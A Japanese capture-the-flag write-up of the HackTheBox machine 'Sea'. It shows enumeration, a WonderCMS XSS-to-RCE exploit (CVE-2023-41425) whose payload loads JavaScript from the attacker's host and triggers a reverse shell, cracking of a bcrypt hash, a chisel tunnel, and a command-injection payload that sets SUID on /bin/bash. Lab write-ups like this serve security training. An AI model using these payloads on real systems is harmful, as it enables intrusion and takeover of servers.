HackTheBox Sea WriteUp

今回はHackTheBoxのEasyマシン「Sea」のWriteUpです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ce18391d-aa25-4507-a18a-c6a6b3b217c9.png)

Easyにしては、少し難し目なグラフですね...評価も3.5なので若干癖があるかもしれませんが、サクッと攻略してしまいましょう！

## Sea

### 列挙

それでは攻略を始めていきましょう。
まずは```nmap```でポートスキャンを実行していきます。

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.28

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
```

22番と80番を確認しました。
ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/def31629-7121-c4e5-a794-da74b909ca85.png)

サイクリング大会のサイト？が表示されました。
目で見える遷移としては、登録フォームぐらいしかありません。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e2c99ebc-1a49-67b3-b019-33d875095ab8.png)

現状特に怪しいものはなさそうなので、ディレクトリ探索を行います。

```
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://sea.htb/FUZZ

       /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 2350ms]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 4291ms]
0                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 4294ms]
404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 181ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 185ms]
home page               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 181ms]
messages                [Status: 301, Size: 232, Words: 14, Lines: 8, Duration: 182ms]
modern mom              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 193ms]
my project              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 180ms]
plugins                 [Status: 301, Size: 231, Words: 14, Lines: 8, Duration: 180ms]
press releases          [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 182ms]
themes                  [Status: 301, Size: 230, Words: 14, Lines: 8, Duration: 184ms]
web references          [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 184ms]
```

いくつかの新しいディレクトリを発見しましたが、ここで気になるのは```themes```というディレクトリが存在することです。

:::note info
```themes```が存在するということは何かしらのCMSが使用されている可能性が高く、さらに階層を深く調べることでテーマ名やバージョン情報などを取得できるかもしれません。
:::

では、```themes```配下に対してディレクトリ探索を行い、テーマ名を列挙します。

```
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -u http://sea.htb/themes/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/themes/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 186ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
bike                    [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 194ms]
```

```bike```というテーマ名を発見しました！さらに深く見ていきましょう

```
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://sea.htb/themes/bike/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/themes/bike/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

README.md               [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 183ms]
sym/root/home/          [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
version                 [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 191ms]
```

```README.md```や```version```を発見しました！それぞれアクセスしてみましょう

```bash
-- README.md --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/README.md
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

-- version --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/version   
3.2.0
```

上記の結果からサイトでは```WonderCMS```のバージョン```3.2.0```が使用されていることがわかりました。

### CVE-2023-41425

バージョン情報を取得したので、脆弱性が存在しないか調査すると以下のサイトを発見しました。

https://github.com/prodigiousMind/CVE-2023-41425

どうやら```WonderCMS```のバージョン```3.2.0```にはXSSを経由したRCEの脆弱性があるようです。一見有用そうですが、「XSSを経由しなければならない」ため、まずはXSSを発見する必要がありそうです。

:::note warn
GitHubに公開されているExploitコードは、最終的に```xss.js```というファイルを作成します。このファイルがXSSによって読み込まれ実行されることでRCEとなり、リバースシェルを取得することができます。
:::

では、今回のサイトの中でXSSを発火、もしくはXSSと同等の機能をもたらすことができるでしょうか。実は可能です。注目すべき点は、使用されている画像のXSS部分（URLリンク）が以下のようになっている点です。

```
localhost/wondercms/index.php?page=loginURL?"></form><script+src="http://...
```

これはGitHubでも紹介されている通り、XSSを発火させている部分ですが、そのまま入力しても発火はしません。一度自分でもXSSが発火するのかどうか試し、発火しなかったため「あれ？」と疑問に思いましたが、これはCVE-2023-41425が認証済みRCEであることが物語っています。

:::note info
つまり```WonderCMS```では、認証済みユーザのみが```[ip]/wondercms/index.php```へアクセスした際に、```?page=loginURL?"></form><script+src="http://...```のようなパラメータを送信することでXSSが発火するということです。そのため、認証済みユーザではない攻撃者（私）が実証しようとしても発火は確認できません。
:::

上記を踏まえると、認証済みのユーザに```[ip]/wondercms/index.php```へアクセスさせ、XSSを発火させる必要があるということになります。そんなことが可能なのかと一瞬戸惑いますが、ここで最初の方に確認した登録ページが活躍します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e2c99ebc-1a49-67b3-b019-33d875095ab8.png)

名前やメールアドレスに加えて、ウェブサイトを登録できる欄があります。なので、この欄にXSSのペイロードを入力し、管理者などの認証済みユーザにアクセスさせることができるかもしれません。

では、攻撃パスが出来上がったので実際に試してみましょう。まずはPoCをダウンロードします。

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ git clone https://github.com/prodigiousMind/CVE-2023-41425.git
Cloning into 'CVE-2023-41425'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (6/6), done.
```

ダウンロードできたら、PoCを実行します。が、一つ変更しなければならない点があります。それは、PoCの中で```main.zip```をダウンロードしている箇所があるのですが、マシンからはアクセスできないため、ローカルに配置し、ダウンロードさせます。
まずは、PoCで使用されている```main.zip```をダウンロードしておきます。

```bash
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip            
--2024-08-16 23:44:34--  https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main [following]
--2024-08-16 23:44:34--  https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.27.177.114
Connecting to codeload.github.com (codeload.github.com)|20.27.177.114|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: ‘main.zip’

main.zip                                       [ <=>                                                                                     ]   2.62K  --.-KB/s    in 0s      

2024-08-16 23:44:35 (50.4 MB/s) - ‘main.zip’ saved [2680]
```

ダウンロードできたら、PoCのリンクをローカルへ変更します。

```bash
-- before
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;

-- after
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.2:8000/main.zip&directoryName=violet&type=themes&token=" + token;
```

これで準備完了です。PoCを実行しましょう！
実行時に指定するURLは```http://sea.htb/wondercms/index.php```です。

```bash
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 2121
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

ペイロードが出力されました！これを先ほどの登録ページに入力しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/19230454-752c-600f-6326-b6f39cd663e1.png)

入力できたら「Submit」を押下します。押下後、```xss.js```へのアクセスを少し待ちます。

```bash
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 2121
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [16/Aug/2024 23:28:47] "GET /xss.js HTTP/1.1" 200 -
```

アクセスがきました！



## www-data としてのシェル

では、```xss.js```をダウンロードさせることに成功したので、リバースシェルを取得しましょう。まず待ち受けを開始しておきます。

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
```

これで準備は万端です。実行は```http://sea.htb/themes/revshell-main/rev.php```へIPとポートを指定してアクセスするだけです。

```bash
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.2&lport=2121'
```

特に応答はありませんが、待ち受けを確認すると...

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.28] 51942
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 03:57:44 up  3:49,  0 users,  load average: 1.29, 1.48, 1.47
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
www-data@sea:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

シェルを取得できました！侵入成功です～！

### 水平権限昇格

それでは、さらに列挙を進めていきます。
侵入後のユーザは```www-data```だったので、おそらく```root```を目指す前にもう一段階必要そうな気がします。```home```ディレクトリを確認し、ユーザを見てみましょう。

```bash
www-data@sea:/home$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Jul 30 12:58 .
drwxr-xr-x 19 root root 4096 Feb 21 01:15 ..
drwxr-xr-x  4 amay amay 4096 Aug  1 12:22 amay
drwxr-x---  4 geo  geo  4096 Aug  1 12:13 geo
```

```amay```ユーザと```geo```ユーザが存在します。```amay```ユーザのディレクトリは読み込み権限があるので、中を確認できそうです。

```bash
www-data@sea:/home/amay$ ls -l   
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt
```

ユーザフラグがありますね。```www-data```ではファイルを読み取ることはできませんが、次の目標がわかったので```amay```ユーザへの移動を目指していきましょう。

### Hash Crack

```www-data```で侵入した後は、WEBの設定ファイルやDBの情報を見て認証情報を取得できることが多くあります。今回も認証情報の取得を期待して列挙していると、```database.js```というファイルを発見しました。

```bash
www-data@sea:/var/www/sea/data$ ls -la
total 48
drwxr-xr-x 3 www-data www-data  4096 Feb 22 20:00 .
drwxr-xr-x 6 www-data www-data  4096 Feb 22 03:06 ..
-rwxr-xr-x 1 www-data www-data 29235 Aug 17 01:40 cache.json
-rwxr-xr-x 1 www-data www-data  2891 Aug 17 03:50 database.js
drwxr-xr-x 2 www-data www-data  4096 Aug 17 03:51 files
```

内容を確認してみましょう。

```bash
www-data@sea:/var/www/sea/data$ cat database.js
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/08\/17 03:50:56": "127.0.0.1",
            "2024\/08\/17 03:38:25": "127.0.0.1",
            "2024\/08\/17 03:28:54": "127.0.0.1",
            "2024\/08\/17 01:40:18": "127.0.0.1",
...
```

ハッシュ化されたパスワードを発見しました！```john```による解析を試みますが、このハッシュはスラッシュ（```/```）を文字として認識させるため、前にバックスラッシュ（```\```）が追加されています。なので、バックスラッシュを削除した状態で保存するように注意してください。

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)     
1g 0:00:00:18 DONE (2024-08-17 00:25) 0.05330g/s 164.0p/s 164.0c/s 164.0C/s iamcool..milena
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

解読に成功しました！

## amay としてのシェル

それでは、パスワードを取得できたので```amay```ユーザとしてログインできるか試してみましょう。

```bash
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ssh amay@10.10.11.28
The authenticity of host '10.10.11.28 (10.10.11.28)' cant be established.
ED25519 key fingerprint is SHA256:xC5wFVdcixOCmr5pOw8Tm4AajGSMT3j5Q4wL6/ZQg7A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.28' (ED25519) to the list of known hosts.
amay@10.10.11.28s password: 

amay@sea:~$ id
uid=1000(amay) gid=1000(amay) groups=1000(amay)
```

ログインに成功しました！

```bash
amay@sea:~$ ls -l
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt
```

ユーザフラグも無事読み取ることができました。

### 垂直権限昇格

では、最後```root```を目指していきましょう！
まずはいつものように```sudo -l```を実行します。

```bash
amay@sea:~$ sudo -l
[sudo] password for amay: 
Sorry, user amay may not run sudo on sea.
```

```sudo```は実行できないようです。```SUID```も特に気になるバイナリはありませんでした。

### ローカルWEB

権限昇格へつながる道がないかネットワークを列挙していると、気になるポートを発見しました。

```bash
amay@sea:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43435         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -              
```

ローカルで8080番が起動しています。おそらくWEBだと考えることができるので、アクセスしてみましょう。ローカルWEBへアクセスする際は、```chisel```を使用します。```chisel```をターゲットへ送信する方法はいくつかあるので、```scp```などを使用して送信してください。

```bash
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ scp /opt/too1s-l1nux/chisel amay@10.10.11.28:/tmp/chisel
amay@10.10.11.28s password: 
chisel                                           100% 8188KB 836.6KB/s   00:09
```

送信できたら、マシン側/ローカル側でそれぞれ```chisel```を実行します。

```bash
-- local(Kali) --
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse
2024/08/17 00:39:15 server: Reverse tunnelling enabled
2024/08/17 00:39:15 server: Fingerprint JYjZ/rhFjp/xyi9/jcYPwbLdroC2N0f3YNx0iFX2CzQ=
2024/08/17 00:39:15 server: Listening on http://0.0.0.0:9999

-- machine(sea) --
amay@sea:/tmp$ ./chisel client 10.10.14.2:9999 R:8021:127.0.0.1:8080
```

実行に成功したら、ローカル側で```http://127.0.0.1:8021```へアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0707fcef-57e8-8d48-aace-c368bf4ec60c.png)

Basic認証が有効になっているようなので、```amay```ユーザの認証情報を使用してログインします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/64aa2d2d-fc5e-190b-de60-ba9b766ed4b9.png)

認証に成功し、システムを監視できるサイトが表示されました。
なにやらログファイルを分析できるようなので、「Analyze」というボタンを押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ae38ed73-ad02-3c1d-ba7f-27f36d518788.png)

不審なトラフィックは検出されませんでした。というメッセージが表示されました。```access.log```の他に```auth.log```もあるようなので、そちらも指定してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/6a64d5e0-4cd1-96c4-b2ca-328f4eb1eaeb.png)

いくつかの出力がありました。不審なトラフィックが検出されていたので、そこから権限昇格の手がかりを探すかと思いましたが、特に気になるものはありませんでした。

### Command Injection

では、見方を変えて分析のプロセスに目を向けることにしました。```auth.log```や```access.log```から不審なトラフィックを検出しているということは、何かしらのコマンドが実行されている可能性があり、コマンドインジェクションに脆弱な可能性があります。試しに、```log_file```パラメータの末尾に```;id```を付与してリクエストを送信してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/771346c9-2666-f7a4-8b53-d8201ae33de5.png)

```access.log```を分析させたときは、特に出力がありませんでしたが、```;id```を付与しただけで多くの出力が見られました！直接的に```id```の結果が出力されているわけではないので、```;id```の追加の仕方がよくないのではないかと思いました。試しに末尾ではなく、先頭に```;id```を付与して再度リクエストを送信します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d9be9015-3515-a3ba-7717-bd449497a99c.png)

```id```コマンド結果が綺麗に出力されました！

## root としてのシェル

コマンドインジェクションに脆弱であることが確定したので、権限を昇格させましょう！以下のように```log_file```パラメータの値を指定してリクエストを送信します。

```
log_file=;chmod%20u%2bs%20%2Fbin%2Fbash;%2Fvar%2Flog%2Fapache2%2Faccess.log
```

```/bin/bash```にSUIDを付与しています。リクエスト送信後、SUIDが付与されているか確認しましょう。

```bash
amay@sea:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
```

付与されています！権限を昇格させましょう。

```bash
amay@sea:~$ bash -p
bash-5.0# whoami
root
```

権限昇格に成功しました！

```bash
bash-5.0# ls -l
total 12
drwxr-xr-x 2 root root 4096 Feb 25 04:24 monitoring
-rw-r----- 1 root root   33 Aug 17 04:52 root.txt
drwxr-xr-x 2 root root 4096 Aug  1 12:17 scripts
```

ルートフラグを取得し、完全攻略達成です～！